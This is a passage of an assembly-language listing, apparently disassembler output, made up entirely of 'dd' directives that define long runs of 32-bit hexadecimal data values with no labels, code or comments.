		dd 0DD0CCA3Bh, 757AE9EAh, 793DEF19h, 0FFF5D0B1h, 0B8405B6Ah
		dd 0D491DBD0h, 8BD48373h, 3BA9B82Bh, 0A349040Dh, 0A3703887h
		dd 8339A38h, 86194041h,	0A0001846h, 7E208E24h, 828BFD15h
		dd 8602B7D8h, 8D7E6532h, 3D787E1h, 88A002EDh, 4F54E833h
		dd 0EC3792F2h, 8C47F74Bh, 0B213154Ch, 0F4A53104h, 8A232066h
		dd 61E25A40h, 3313CEC4h, 37FDF81Ch, 6B75344Fh, 4723C764h
		dd 1D05A26Eh, 3AEE5CFDh, 81BC26F6h, 0E47492Dh, 4ABAFAE6h
		dd 5906A872h, 0C6C55897h, 5EF607F6h, 27CB4D31h,	77C5715Dh
		dd 63D32AFBh, 0A95E5E29h, 16AFD9A2h, 0E0233E04h, 3C15E822h
		dd 0B195159Eh, 0EFC211D8h, 0DBC9825h, 6CEF2057h, 3F6F042Fh
		dd 27E28B57h, 50D9ECEh,	906ED368h, 945D8240h, 71B8BD39h
		dd 0A5136B40h, 2BB64C8Bh, 10DF6ACCh, 0EC58DE2Dh, 8C42AD9Bh
		dd 400D61B6h, 8C31FD73h, 72F3609h, 8895CD75h, 38890132h
		dd 0CEF9000Eh, 8084B7Fh, 0B7F86D81h, 7C769CC4h,	830704A5h
		dd 7011134Eh, 21B7709Ah, 39C545FCh, 0B789DD40h,	0CD18C1E7h
		dd 592EF362h, 0AEFC6A1Ah, 0CDD9B0F0h, 41B178CAh, 856FD2B5h
		dd 0FC66B7EAh, 3311037Fh, 0FD8526A1h, 2A870BC1h, 0C5DCA4A4h
		dd 0F0462DFFh, 7C7E228h, 0CF72177Bh, 0B1718852h, 40EA5512h
		dd 78752D14h, 436CBACDh, 0C81D4B61h, 0B70955BAh, 3432400Dh
		dd 755EA6D1h, 0C0DE8E34h, 2AF9315Dh, 0C583D321h, 10901480h
		dd 0C610BDBFh, 429BA5A6h, 7674E1Ch, 289B75ECh, 43335128h
		dd 2A7C028Bh, 8F1AE052h, 27BF17F6h, 0F8E52AC6h,	0DD263448h
		dd 3369614Dh, 3BFBE133h, 55DD4261h, 0C1C49894h,	0AC9EEF64h
		dd 80BB1A78h, 7C448DD5h, 0C5A02C4Eh, 877AEAB4h,	595E9AA2h
		dd 0D2190FF3h, 2E085D1Bh, 4CA368C0h, 0C1DFEDF0h, 30B92122h
		dd 0B82C928Eh, 1C317038h, 2818E871h, 640946B6h,	12F92FA5h
		dd 1395B849h, 857B33A6h, 0A329EBE0h, 31838A22h,	70BEC37Dh
		dd 0BAC614Ah, 874301E3h, 5556D7F4h, 0F5068804h,	709F7AA2h
		dd 61181D01h, 0E1784019h, 0DA34BC07h, 29E0BA8Dh, 955D8E9Fh
		dd 8CA7E839h, 993D2356h, 0F71B51D3h, 10A5184Fh,	8311EC08h
		dd 0A7EAF671h, 771AF50Ch, 0D596B9FCh, 0BF881DBAh, 45B86C77h
		dd 5E06EDB4h, 0B8ABF624h, 0C9D48BE0h, 0F37BA5E8h, 2915700h
		dd 6C3C4641h, 5A457857h, 0EBC3ACB3h, 0A2C96F00h, 56156835h
		dd 341A1462h, 718C8C1Ch, 908A8CE8h, 90604143h, 65D0960Ch
		dd 4B5B0FB5h, 355BCDE5h, 64A5408Ah, 0A357CAE2h,	0D07419C7h
		dd 0CC4D3813h, 0D7D47F0Ch, 0ACC5FA28h, 0FA649142h, 3A78C75Dh
		dd 89E8E448h, 0AF5C9C32h, 0FC48DA4Ch, 1C634083h, 962A2B2Eh
		dd 52E05C85h, 6FA6180Eh, 68A8293Bh, 329D268Dh, 8B922F57h
		dd 0ED811A2Ah, 0EE409D62h, 0DD8A6854h, 0CFF531FFh, 6E022CE8h
		dd 3FD56B98h, 7FA4C42Fh, 0F86E0957h, 37A81B17h,	0A183A4D7h
		dd 2F98DCECh, 0B445CDF6h, 7CD694Eh, 47F915A9h, 95D2245Dh
		dd 62F46C70h, 54F37556h, 87D4A628h, 34556E51h, 0AF70066Ch
		dd 74E8EEE0h, 4C1B5E70h
		dd 78CF21ACh, 61D9D709h, 0AD7D267Fh, 2BF9B80Bh,	0BE3DC2A8h
		dd 28B12336h, 0D1C0B2D9h, 0A5135C7Eh, 22B58BAAh, 8D24D0FCh
		dd 0B84BE472h, 589B5F10h, 69E240E2h, 4DA94D13h,	727A6D44h
		dd 308B09B5h, 697EA4F2h, 9A462E0Ah, 0C98EB439h,	0ABA6AAEEh
		dd 0E6221C4Ch, 0D70228BEh, 1097E0E3h, 78C88AE8h, 796EB60h
		dd 0DC88C29Bh, 0BA0FACCEh, 90CC475Ch, 8DD4B9E8h, 0F9191CFCh
		dd 956545DCh, 14AB17AFh, 5E506CD5h, 0F7E015FAh,	27556256h
		dd 794C3286h, 2EB0D665h, 0A7DA0068h, 0AA0595ABh, 0B67308AFh
		dd 0C7901353h, 0E4EBBCABh, 45215Ah, 5E1C5A3Bh, 7300A3A2h
		dd 99C4548Fh, 2360DE90h, 14E446A6h, 2D1AE7A1h, 0D22CA05Dh
		dd 8443DFF5h, 24A60A14h, 0C69450D0h, 8008232Bh,	36E09343h
		dd 8287A06Ah, 0AAAE35C7h, 630369Ah, 0FECE688Bh,	0DC2379B8h
		dd 39891687h, 0D50794BDh, 44DD38F4h, 36BB3C20h,	1445AB58h
		dd 9D6900Bh, 46C29073h,	74866213h, 82251C28h, 56EB10CAh
		dd 51983114h, 9A550F39h, 4EAFC982h, 0CA2C96D0h,	341D4022h
		dd 0E948E5E3h, 7268884Ah, 0B47C5B15h, 683A9A91h, 0FF0B5D96h
		dd 0A6EA8D1Ch, 369A7462h, 0F2B08D56h, 84950B9Ch, 9DF735FCh
		dd 43A066D4h, 5743AE75h, 0A406A047h, 7C76D901h,	0FFA2FD14h
		dd 0FDF92A5Fh, 0AE17A67Dh, 434C830Fh, 0F884EE5h, 0AC60E079h
		dd 11D54904h, 9CC4FC10h, 0FF3C3608h, 0FB7C8C2h,	1B7CC670h
		dd 60A420FCh, 82A511B8h, 98E2BB3Dh, 837D0644h, 5B4A46C3h
		dd 0BE692848h, 72E7D122h, 0BE8C2BFEh, 0C551F75Eh, 88C4A912h
		dd 14AE5773h, 0C5FF2CB4h, 3EB8FF78h, 0E4AC46Bh,	67C9ABA1h
		dd 0E21F8296h, 114905CFh, 64FED234h, 0AAFE178Ch, 3A95098Dh
		dd 4FE12D50h, 2E0D45B2h, 0BDCD56D1h, 0BF976296h, 4B04CE78h
		dd 402A9491h, 669B7ADh,	61AFF0D5h, 0A6FEF28Ah, 0E4B2C018h
		dd 0C16A555Bh, 0A1619C37h, 0E8497EA6h, 62D441F6h, 0BC17EC81h
		dd 0EBBAABh, 452E3AE6h,	5A8E97F4h, 2A121AFDh, 7A68D936h
		dd 579B81F0h, 62897276h, 725B9070h, 85E75042h, 8DDE7CF8h
		dd 86D6B508h, 1B32196Ah, 59800210h, 543A8919h, 0E4461F1Bh
		dd 3E0AB33Bh, 83C6F812h, 5906BA82h, 26E1A8B4h, 6E7FDC7Eh
		dd 8F2E0AC2h, 2AAB1321h, 4712262Fh, 0E8F5C7F5h,	0F9953B46h
		dd 9857977Ch, 456579FEh, 0BAAB9573h, 0D88431AAh, 742C7B94h
		dd 0EADA2F93h, 83B3E318h, 0A418A6DEh, 1C54AD6Dh, 0E42BDA49h
		dd 49CB9A15h, 48D507BAh, 5569A93Ch, 0E7B95B4Ch,	0F8EE6275h
		dd 5E62418Ah, 0A786F022h, 0BF82E780h, 55649718h, 18EEB0Bh
		dd 0B2E943A1h, 6AF87240h, 5F70957h, 0F82A95CAh,	7278ECE2h
		dd 0F96FAC78h, 9D86AE8h, 0D609EB0Ah, 2BA839E7h,	0C9B2387Dh
		dd 892BF634h, 43DC2053h, 2C868D0h, 0C4B81926h, 3432FE0Fh
		dd 37246A5Dh, 966D8D83h, 4E1CBE74h, 6ED5ABEDh, 0E2D43615h
		dd 0D8BD07AFh, 812AA476h, 7CF2B16Fh, 0C1AAAE7Ah, 5DD7F113h
		dd 9BD2A118h, 0DFE59F0Eh, 2D300CBEh, 13906554h,	77022724h
		dd 0AEB28CBEh, 0AABAEBEh, 0C9D31D09h, 0F32BAAF5h, 0EA8D620Ch
		dd 0FFCDF258h, 5CFAE908h, 0B5D38A1h, 0BD1E4E03h, 3E055E83h
		dd 455A7FF7h, 0BE459C32h, 23AAD92Fh, 2BB1D4AAh,	8776E9CDh
		dd 0D5ADEEB2h, 2BB13668h, 0F5DB398Fh, 87EDE9C7h, 3BA2AD51h
		dd 574E8CFCh, 751B990Fh, 0D7004D3Dh, 0FC0C5429h, 0B14032BBh
		dd 0A80A0BACh, 0D26A96ABh, 7CD5D597h, 82A38B9Dh, 0C85AD036h
		dd 51EDC8B3h, 9D577C55h, 0A14A5B1Bh, 0CEF1C075h, 6D9CE59Ah
		dd 987CCD8Dh, 678D5771h, 0E845914Ch, 0FA675DA3h, 0BCCBAA22h
		dd 0E83E64D9h, 4180224Eh, 5715D512h, 0A4282A8Ah, 89AC0773h
		dd 0EA8CAAD0h, 2375DA85h, 92BF02AAh, 0DDEC87F8h, 5B3C7E40h
		dd 960D45C7h, 20B78157h, 60CA8C7Eh, 3AC226Ah, 144EB0A9h
		dd 0E1100A0h, 0D5A56EDh, 525C87E5h, 8AC91570h, 514DC22Bh
		dd 0D9B1E9A3h, 0AF8D976Fh, 5F2093AEh, 90B0068Dh, 0B2D8EBACh
		dd 57A41428h, 93FAEC63h, 3839555Fh, 2FA1C01Bh, 3C3B2819h
		dd 0FE786030h, 220C4147h, 44A9881h, 7D11AC50h, 0D62203C3h
		dd 0F014A0B8h, 1900E4h,	4C365513h, 3C780E0Ch, 65A8804h
		dd 24182D30h, 41683E22h, 0D7C9B868h, 0F90A439Ah, 0FF648A40h
		dd 8433E4C8h, 221192BAh, 8F8E03FAh, 77C1B725h, 6AA90452h
		dd 0B29B31EAh, 412E5787h, 88570829h, 0BC97AE80h, 0FE70FD2Bh
		dd 0F39C5954h, 26087DF0h, 0B632FB4Fh, 5EC3BFD8h, 0C5C0344h
		dd 0BB40A9BFh, 0FC873A92h, 60CB8049h, 0C726E17Ah, 9E2653C6h
		dd 2D5638B8h, 0C7E0ABF4h, 7DB8FE00h, 0BEDAB812h, 83FA40F0h
		dd 0B06585D3h, 65968252h, 0AC5D67F7h, 0ECA4C2B5h, 42042CECh
		dd 0B14522EBh, 0C6710902h, 9FAF80B9h, 81417CAEh, 24351B4Ch
		dd 13FD3EE6h, 0C8DACDC5h, 19F509BAh, 0B4AF0639h, 3673C731h
		dd 1C40030Dh, 44AC70AAh, 0CA5AEB06h, 0E56CC11Dh, 0F206A6D4h
		dd 89AD0907h, 161453E9h, 94212EACh, 1A52019Ah, 67655CDCh
		dd 839E35D1h, 0BE8DABBFh, 0C486368Dh, 8095663h,	0DC1056B0h
		dd 0C213C1Fh, 0F4EF1B16h, 816294BAh, 7E1BD76h, 0DF58CA89h
		dd 24C18D89h, 0D2BC4141h, 0C171AED5h, 0A2053082h, 0B9066B40h
		dd 2F8B707Fh, 0FDDFF91Ah, 86E8E5F4h, 32077EB4h,	9A69D615h
		dd 0FAE304BAh, 5F805498h, 8D5D58DAh, 64418F6h, 1B6B80DDh
		dd 69F51001h, 4B030292h, 901961h, 0EC180842h, 0AAF73F8Eh
		dd 0C387574Ch, 8455ACBAh, 88F86A1Fh, 9D1282A0h,	22456361h
		dd 3017F598h, 64EA2BC0h, 48BA2680h, 4A0A53B0h, 6C3FD831h
		dd 511AD88Ah, 3739FDC1h, 0FA7C3206h, 0CA252E02h, 32864021h
		dd 0C2638A2Ah, 0A2F3C0EAh, 0A0842066h, 4A42511Ah, 0A2BCC60Ch
		dd 32005E20h, 46F5C4DCh, 35C383BAh, 44611BC2h, 0C4E425Fh
		dd 7D244C22h, 0FD578930h, 982C8F87h, 6D451B8Fh,	0B0D4E856h
		dd 0A83A62FBh, 35AC290Dh, 73FDE6D5h, 0E0F83AC4h, 3A44AA11h
		dd 1AFA61F0h, 7FFD3058h, 33DA9D4h, 4D426620h, 0F8BA9728h
		dd 874C1007h, 10360441h, 593F1E93h, 1B05C458h, 600CD48Ah
		dd 3BA3864Eh, 0FF022DC8h, 0C3E92904h, 6A6E59ABh, 8607459h
		dd 78140597h, 7227B602h, 701C4417h, 0FC565B9h, 0A57C96E5h
		dd 488F56EEh, 5A91858Fh, 0EB14B2A2h, 0BBA5145Dh, 815FD3A0h
		dd 85957821h, 83B63B82h, 8E0EDA09h, 811C222h, 8B132388h
		dd 34AD2641h, 0DC9E3D6Ah, 0C4A9D7EBh, 0D671E85h, 0BE17D1E0h
		dd 0F8156E7h, 2B0759A6h, 389D107Dh, 4A82E4A0h, 423AF2D1h
		dd 78C14BE9h, 0CC6CE02Dh, 96BFB900h, 6183968h, 8138B452h
		dd 8736538h, 0D8C446D5h, 0DD0B5DE0h, 8A25D18Ch,	0B395AA0h
		dd 0C4569204h, 54322D0Ah, 7F81A8C3h, 7769EB12h,	0E0E94ABBh
		dd 899FEBCDh, 0E178C211h, 62C43B84h, 88B28C7h, 0F760306h
		dd 68AFAA07h, 0C4393398h, 0B598D915h, 0A1A267Dh, 1F9C825Ch
		dd 0D25DAB59h, 0C24C5F0Eh, 0FE28CC44h, 0D15A1116h, 315BF8Ah
		dd 29570420h, 4198FE90h, 0D8E95FA3h, 0A9A0BFDBh, 8711C1F3h
		dd 9FA05E61h, 0B56C1A2Fh, 1B97A5FCh, 6499F13h, 13552370h
		dd 0E86BDFEBh, 0BE7FFE5Dh, 10A33112h, 541C07D3h, 0F1FF4829h
		dd 0F62B1D23h, 0DC872B88h, 71317C58h, 0F7BBF007h, 0BF0021h
		dd 0AA10D405h, 0F47C00Fh, 2F004378h, 1A2ABC42h,	978B6B05h
		dd 50584DD7h, 14581147h, 31F63EAAh, 35D0DA7Ch, 4A56A0Ah
		dd 72C96A94h, 2B53D069h
		dd 0CAD39EA2h, 8D43A6F0h, 0FF70762Ah, 52A29C8h,	38ED709Ch
		dd 9BC6C45h, 6167D607h,	57DF4116h, 5994244Fh, 5475A521h
		dd 18F65FC4h, 0A67C1732h, 3FA2532Eh, 5D4559F7h,	2FC19D79h
		dd 0CA4FECE2h, 0BA7FF521h, 0E6F8BE98h, 7F1CF307h, 72D25267h
		dd 12226DF2h, 0E43F247Ch, 79F0AD7h, 7C531D55h, 4B03B70Dh
		dd 0B22928A0h, 52FECBAh, 1FCC8F2Ah, 832B3B9Ch, 4FC51293h
		dd 0A2513F0Ah, 1C5DDA0Ch, 3B295902h, 0D0C17E09h, 0CC8D08BAh
		dd 7E3161EDh, 0BDB38C9h, 4493B4C8h, 0F07CA990h,	0EA92647h
		dd 3DC11F03h, 0B89C9CC8h, 9803E53Ch, 517E240h, 69122FEAh
		dd 808E903Ch, 2BCD57CEh, 5C85E2AAh, 0E4B32E69h,	825380A1h
		dd 67E283FFh, 3EF7F065h, 43E84131h, 0FB425D5Fh,	3A087639h
		dd 0C020A8h, 0CD3C1012h, 34038052h, 3CBA9D17h, 54C833B0h
		dd 444DD5F1h, 47503BC8h, 7D132FFAh, 63688E20h, 2419E9Ah
		dd 39A98D68h, 0DE39D900h, 0D6AC9653h, 7274F308h, 166A0BAEh
		dd 26454152h, 0A0DB3037h, 0B7007123h, 0D18D4177h, 22048C6h
		dd 163D1DA1h, 75B2A7Eh,	68E1B2DAh, 7A891D0Ch, 864AF8D9h
		dd 9C11095Dh, 0DCAE45A6h, 0A95514B0h, 0D04A4CCAh, 0AA8B707Fh
		dd 28B760Ch, 7BEC0034h,	8A4069A5h, 2975AA3Ah, 0F0338A83h
		dd 4ECA36C3h, 0DFE4A83Bh, 95D22B26h, 82905B9Ch,	0D5A90CA3h
		dd 651BE564h, 0B147C8D0h, 0AA345D86h, 42B204BBh, 3451A173h
		dd 2B8BA8D9h, 0CB14035Eh, 67C4B38Ah, 44B418D8h,	5181BDE5h
		dd 495B297Bh, 57A08D14h, 38515B14h, 2BB1CA93h, 76FD23AAh
		dd 8939F44Eh, 22431BDEh, 686146E7h, 0A8AED11Ah,	1E55DEBCh
		dd 6A2B539h, 0FE3BC712h, 0DBFD0918h, 0B9F61CA2h, 0AAC714D0h
		dd 0E5C981A8h, 2E533415h, 5C9B6552h, 2A6BC3F0h,	0AB5169Ch
		dd 0B314E92h, 0F4FD5EFBh, 5BD8CEFFh, 5675C597h,	8CCCF5C3h
		dd 0A0B98A72h, 5EF2FEC2h, 0AB464343h, 0C7274ECBh, 48299536h
		dd 0F5EE7230h, 1F0EFE85h, 0B0FDB0ACh, 0BD17287Bh, 0BE9B025Ch
		dd 8B33FBA5h, 76518B8Eh, 4B85122Ah, 0CC1AB77h, 1105C7D7h
		dd 0F4BDECEh, 40FB051h,	0EA8497C0h, 3190CC58h, 0FBFB0E3h
		dd 289B0E06h, 24957D9h,	0C24DB829h, 54C1F83Ah, 595199C3h
		dd 0D2026B87h, 5B07306Eh, 0DD3C5A86h, 0AD4A38FFh, 5010A6E3h
		dd 0F79CC070h, 50DE3F5Fh, 6310BA4h, 14913142h, 41397C51h
		dd 4AB9D35Ah, 0BF8DF759h, 0B64EA080h, 4877A428h, 2ACC5AA1h
		dd 175BFD57h, 7AFC8E10h, 4E7CE882h, 482EF35h, 91F32B53h
		dd 319667FFh, 0B5489F4Bh, 86874155h, 85282BEAh,	0D514268Fh
		dd 0C2A59046h, 47C54F0Ah, 90B6BDEh, 33AE69DEh, 47FAF2D0h
		dd 4B004B18h, 0AE38FD29h, 12970510h, 2F9E9C2Dh,	0FCC6D936h
		dd 0B39E13Dh, 7B24DF27h, 45104DCCh, 0FFA175CCh,	9830C008h
		dd 3CC9F759h, 0D72C7B17h, 62730C2Fh, 6BD670F0h,	0C641988h
		dd 26EB0BB9h, 50AD2503h, 0B82F0B09h, 0E06890ACh, 0F4B311E7h
		dd 28384122h, 0F0BC88B1h, 3578A048h, 98EAD006h,	0B51C516h
		dd 83AD5201h, 0E5A64401h, 8B5F31D5h, 1F401A16h,	2CE16468h
		dd 84CEA2CFh, 73F8A1EFh, 0D522D6A3h, 11B07EF8h,	0D684F17Ch
		dd 1BACD5A7h, 10B4DEDDh, 91BD6EF3h, 0BBD8FE6Fh,	490D099h
		dd 289DE3AFh, 0E79CBC4Ch, 2EBF3222h, 17350785h,	9939031Dh
		dd 8643A04Dh, 1B79AA28h, 0F1C88223h, 3AB80409h,	0DF09D4EEh
		dd 0E0A4C528h, 76CA81C5h, 0C4C25804h, 0A08BC049h, 0A3E131A6h
		dd 115571A5h, 0C5A069A0h, 6C01CABCh, 52BFB0A1h,	86990C6Ah
		dd 0D03802BFh, 7D18317Ch, 8DC8A859h, 1A62B521h,	0EFCA183Fh
		dd 5B28B698h, 9D5AC2AEh, 11076D15h, 240E01C7h, 0FB06F4C1h
		dd 56ABB730h, 3BE41351h, 1C489B83h, 380A29C6h, 2DD6991Eh
		dd 85D24620h, 0F64097B8h, 38641AE8h, 0A6D8F9F3h, 0D6C4E15Dh
		dd 82A2F1A5h, 0A02E1843h, 858F51F6h, 5AE1F039h,	0EABFBDA9h
		dd 0C6D983Fh, 71577E53h, 0A81850ACh, 0D4FF62B0h, 0F634480Ah
		dd 1F0F974Ah, 8A06F5B4h, 0F10361A2h, 753BD5C2h,	19EB7030h
		dd 0EAD3748Bh, 0EF488CEh, 5AFF85E0h, 58A306F8h,	3D074C14h
		dd 214D43C6h, 0AB48EDAh, 3AB9175Dh, 0C65BB34h, 9AF51877h
		dd 0EBE3F471h, 28C008A5h, 773B344Dh, 0EB2ACE6Ch, 659D6F82h
		dd 0F2E9C1CFh, 110C5E7h, 230121B4h, 5BDA6A12h, 0A120B47h
		dd 0EA97883Fh, 0CC08B51h, 0D93FE2Ah, 9991A108h,	39B46D2Ch
		dd 91325535h, 0E754432Eh, 18B6AA0Fh, 2B149F20h,	218D6881h
		dd 5646C4D2h, 2B3E39A9h, 48729D26h, 77B81D7Fh, 7AAEE030h
		dd 8CA6178h, 74AA4280h,	0AA04572Fh, 92F67660h, 0FD2F2E68h
		dd 29A014FCh, 5351E75Bh, 0E9C1372Ch, 0C84B8275h, 0BE485631h
		dd 9B399A10h, 502E17A3h, 0FC6BE2D4h, 0E35590D5h, 510173D7h
		dd 2AB14CD3h, 7F22515Ch, 8415A15Eh, 83F08C2Bh, 30E73A11h
		dd 4D407FB1h, 1E1044E0h, 0A57FB3DEh, 34092B36h,	92EAB600h
		dd 0B49915CEh, 64EFDDA9h, 8630ABD9h, 42EBE174h,	0E3546540h
		dd 0F7AA0D57h, 0B99D2508h, 0ACD295B3h, 0C6200166h, 0CADCFF78h
		dd 293E3577h, 4C2520Ch,	1189C6D2h, 933B1C33h, 72175FE2h
		dd 5EA0FDBEh, 1D55E8EDh, 0B14FC744h, 9A3A6FE1h,	0C16BE7AEh
		dd 0E5721201h, 0F93368E5h, 80A7E033h, 0FB82748Dh, 4CFCF94Fh
		dd 6070FA9Bh, 0EA7AFB41h, 0C8A44CABh, 748A4FA9h, 55321241h
		dd 2D235AA0h, 0BEC05511h, 5149F091h, 154D93ADh,	27EB4767h
		dd 0F152988h, 0A9068B3Ah, 737D75F5h, 84A86F72h,	0B84359BCh
		dd 0BB224DDEh, 0B6EDA178h, 0A82EA57Eh, 419FA47Dh, 595CFC4Ah
		dd 6097F988h, 2E23FFD2h, 1A80885Eh, 0A50C8881h,	2CF8AAA5h
		dd 0A83F2DBEh, 0A3095A8Fh, 97280D0Bh, 845306E1h, 89AFAAE3h
		dd 0B3E1E1EBh, 4A24428Bh, 7073FF5Dh, 42AFCE79h,	0FFCEE2E2h
		dd 9F6ADAE5h, 54C2AE32h, 66E938AEh, 0DFC5649Fh,	2E5834C1h
		dd 8C83D2EBh, 0B8A88E51h, 98057AE5h, 36C11FFEh,	0D9B0BEFh
		dd 4B06A943h, 952EAC4Dh, 3F613738h, 0E17FC947h,	0FFD33F64h
		dd 0A60BC9A2h, 0C897AF2Bh, 3DF4423Fh, 2E448812h, 66337172h
		dd 0B3AB136Ah, 1F1BAA98h, 14FF7C0Bh, 8019D860h,	738DF6B0h
		dd 0A5FC6D3h, 0D8DAF474h, 5DBF5F72h, 8BF83BF2h,	880189D6h
		dd 378A0093h, 219E9B04h, 6BAABA05h, 164D8139h, 0DD4266B9h
		dd 9A443017h, 0B34DF92Ch, 0CE824597h, 0EE7CE303h, 0F21790C3h
		dd 0F7565A45h, 8EAD37BCh, 183A53AEh, 0A1149A74h, 0DCBA2C84h
		dd 0CC400217h, 0BB41A688h, 1ABC3EE5h, 5859451h,	0BB267DE0h
		dd 0CCA712EAh, 1091CC8Ah, 0BC67FE60h, 21C247Bh,	67C9091Ah
		dd 6F93544Eh, 9D8435D2h, 8AAF9801h, 3DF03598h, 0B4529C18h
		dd 2E8E7779h, 0FE33C8E6h, 38AE26E0h, 413CC207h,	0E22A14B2h
		dd 9601AC5Dh, 8C177C86h, 0D926301Eh, 6080FBC1h,	0CCA66856h
		dd 0C18420AEh, 0E902FB09h, 2412755Dh, 5DE40ED0h, 0FC3B33Bh
		dd 67FF5319h, 94BBDEC3h, 0AAE024C2h, 98855008h,	80A35C2Dh
		dd 3D3B181Bh, 3EB24B7Ah, 82AFB8A7h, 0F6271122h,	4961C0A4h
		dd 6A447301h, 94AD6AD9h, 99378B5h, 0EB48D224h, 41B2A29Ah
		dd 45E13E87h, 39ABF30Ch, 78D18249h, 2837EA64h, 85A87430h
		dd 305621A0h, 3328FA9Ah, 4B1584E2h, 74C4603Fh, 0B1779207h
		dd 0BA0C14DDh, 637EFFE2h, 0DF374D3Ah, 6F423060h, 0B0E25CCBh
		dd 287AED4Ah, 0DA2482E4h, 70F13958h, 69432160h,	6215C057h
		dd 0BC08C004h, 8D7F1D4Dh
		dd 349A6BD1h, 526ED8FEh, 14B431BAh, 216C9460h, 0A0B5169Ch
		dd 62F357C5h, 6ED4DD46h, 909D066Ah, 0B10A4C58h,	0EC0CDB2Eh
		dd 35DA1825h, 71EB28B5h, 31AA906Ah, 0DA8D1351h,	793629ABh
		dd 0F006740Eh, 42F1BAC5h, 5F92E033h, 91491A18h,	1BE6905Ch
		dd 543FE4CCh, 622D48D6h, 0E483D20Ch, 9B486452h,	0A0A90E69h
		dd 0FB22107Fh, 0F7225BD0h, 0F3225D50h, 0EF245E10h, 315F5610h
		dd 4CF3DE46h, 6F7669D1h, 0D7C78455h, 45F3FEEBh,	46717315h
		dd 8636ACA8h, 71C174DEh, 0C106EBCCh, 384915FAh,	0EBA4435h
		dd 0F81E30CFh, 0C9759809h, 0D6034C7Dh, 53430813h, 0BA52079h
		dd 72905645h, 6E53694Ch, 1401722Bh, 0A0940A0h, 220A0842h
		dd 71E814F8h, 0A522FC48h, 0DEB7B880h, 0DAC8B35Ch, 0BECD82E7h
		dd 30CE636Bh, 5133C396h, 1C757714h, 4F040A38h, 46677E73h
		dd 0B37D1825h, 2EB74779h, 0A143CF7Ah, 7FF53D4Eh, 1A0EC631h
		dd 3320DB01h, 815086E5h, 0C15FD2C7h, 52F6A0BAh,	0EE1F789Eh
		dd 530D07EBh, 0F46953B8h, 34115D1h, 0FC1C9369h,	949D4CC1h
		dd 0C12513h, 4053596Ch,	0E6A980DEh, 2D8C34B5h, 66A92738h
		dd 0BE08B9A0h, 495ABB2h, 3C1C6059h, 0DAA8AC53h,	0E9272CA0h
		dd 0E8FF4752h, 696587EDh, 0C577C5D4h, 2828D716h, 0FD2D1D05h
		dd 58555785h, 9EB86BA4h, 26313608h, 0AAE56E28h,	63A20100h
		dd 0B250F415h, 9DF13558h, 0AE92713Dh, 46B9965Eh, 2EDBE5F4h
		dd 0AAAAC290h, 770FF86Eh, 32BEECCCh, 0F0D3C473h, 6C1D1747h
		dd 0C918F38h, 5762023Dh, 829AAEF1h, 0C10CB4ACh,	6D748D85h
		dd 9AC6328Fh, 404D46B2h, 8ED07AE0h, 1C6A6735h, 54A12BB5h
		dd 0A3E0D374h, 79852DC5h, 8FD828B0h, 144BE783h,	10306E3Bh
		dd 4A88550Eh, 0E87A374Ah, 0B9BA0DA4h, 0D9B4E818h, 0BA5FDE8Ch
		dd 185726D8h, 1178DD58h, 0A730D9A1h, 7E417285h,	71BC3F9h
		dd 8DB24084h, 425B8B96h, 24EF0A5Fh, 0FE444E85h,	89A16910h
		dd 7204A2FFh, 413C83ABh, 8E93EAF0h, 87608404h, 72D42D75h
		dd 0A0DE3F56h, 0A7207533h, 81B8F5CFh, 6FA5497Eh, 23B26C60h
		dd 0CE0E1D1Fh, 0B015D75Ch, 0D57AF1ABh, 2AA84606h, 0B2E95682h
		dd 0D9BF0426h, 2FB00A6Eh, 305B4CC6h, 0CA1FEFC9h, 1830CCFEh
		dd 5F00A420h, 0B5FC0654h, 885A6308h, 8F03A7B1h,	6B981001h
		dd 54C5EC0h, 0A667050Ch, 72D80826h, 0BC0CEFA6h,	38F3BBE9h
		dd 57486ED1h, 2B09AE43h, 0AAA6D4E4h, 4478C543h,	5F7131Ah
		dd 4465A12Ch, 87D3CED5h, 4EE56279h, 5A86409Eh, 80B9B758h
		dd 2A6D2DA5h, 0AFAD7E77h, 1252C168h, 7AE43742h,	970CF0DAh
		dd 21FD2B23h, 0B09E16CFh, 0D3D158EDh, 0B398351Fh, 9B495A29h
		dd 1F3AAD9Ah, 88243915h, 94B1D7BFh, 4A8109Ch, 722640C1h
		dd 9C94F18Bh, 25BC0B16h, 87043890h, 4B037224h, 4A4C8C41h
		dd 0D20B6422h, 5281F63h, 241AA454h, 6FC30B1Bh, 5A1E1FBFh
		dd 8802D704h, 75D2CC98h, 9027AA81h, 1F00605h, 4627D6CCh
		dd 0FC52104Fh, 2D737D6Bh, 0FB18F8B3h, 12DD877Dh, 0CDB23E91h
		dd 0DC54A6B5h, 8BFCD8D1h, 0E3B6D37Dh, 31485D42h, 0A44EBC5h
		dd 0AC354A93h, 0F44057F2h, 1531FFAEh, 5F0EB14Ah, 5CE7C78h
		dd 6ED5EB04h, 0EF73211Ch, 57E7CD89h, 606FF4Dh, 0A28BA2FFh
		dd 0D494A766h, 0EB7FD8CCh, 7066262Ah, 3395CD4Ah, 0C0B8053Fh
		dd 7E1054Ch, 8C4413EDh,	0EBE62503h, 0A1D53A9Dh,	51876370h
		dd 1F4F2BE3h, 623BB89Eh, 62AA3956h, 0BE76974Ah,	0C0C53DD8h
		dd 3B8600FCh, 8D010453h, 0F5CCC033h, 60493940h,	253BA936h
		dd 7E92831Ah, 0E8FE75Dh, 1F72B53Fh, 88B2E3D7h, 2701D124h
		dd 1082C145h, 0D5203853h, 12FB8477h, 48F3586Eh,	1C31B05Dh
		dd 979AF6B4h, 75E7925Bh, 14548966h, 0B896D046h,	8959A5BEh
		dd 0B811A182h, 4F3DB841h, 4C5DB85Ah, 2B299C44h,	0C3CA7781h
		dd 0F884D800h, 75E8495Fh, 0C9536BBBh, 84CE3AB4h, 0CFDA5744h
		dd 6360C617h, 5379EA55h, 0C0A1148Ah, 8D400893h,	0AF0E8ADCh
		dd 2A24076h, 2C5A8DC1h,	6F07600Eh, 74A88D06h, 7E7DD7B1h
		dd 0B0D3B6C1h, 6DA08FC7h, 5D926F06h, 0B070BD41h, 32144C2Fh
		dd 0DE2A5E28h, 1F9C62C4h, 0D2345AEBh, 86488245h, 0CF83385h
		dd 15D89049h, 0FAE29666h, 0BCC558E0h, 506E66A9h, 4D3C7224h
		dd 4857A833h, 4134ACAEh, 8481C8ABh, 2AA56B0Ch, 5DF36D6h
		dd 0B2811827h, 0B88D6026h, 784C565h, 0B079C62Ah, 0A9B8E02Ch
		dd 3A98D4ABh, 0CB76C6CEh, 0BA84AE82h, 0B3767BC8h, 77EC8E3Eh
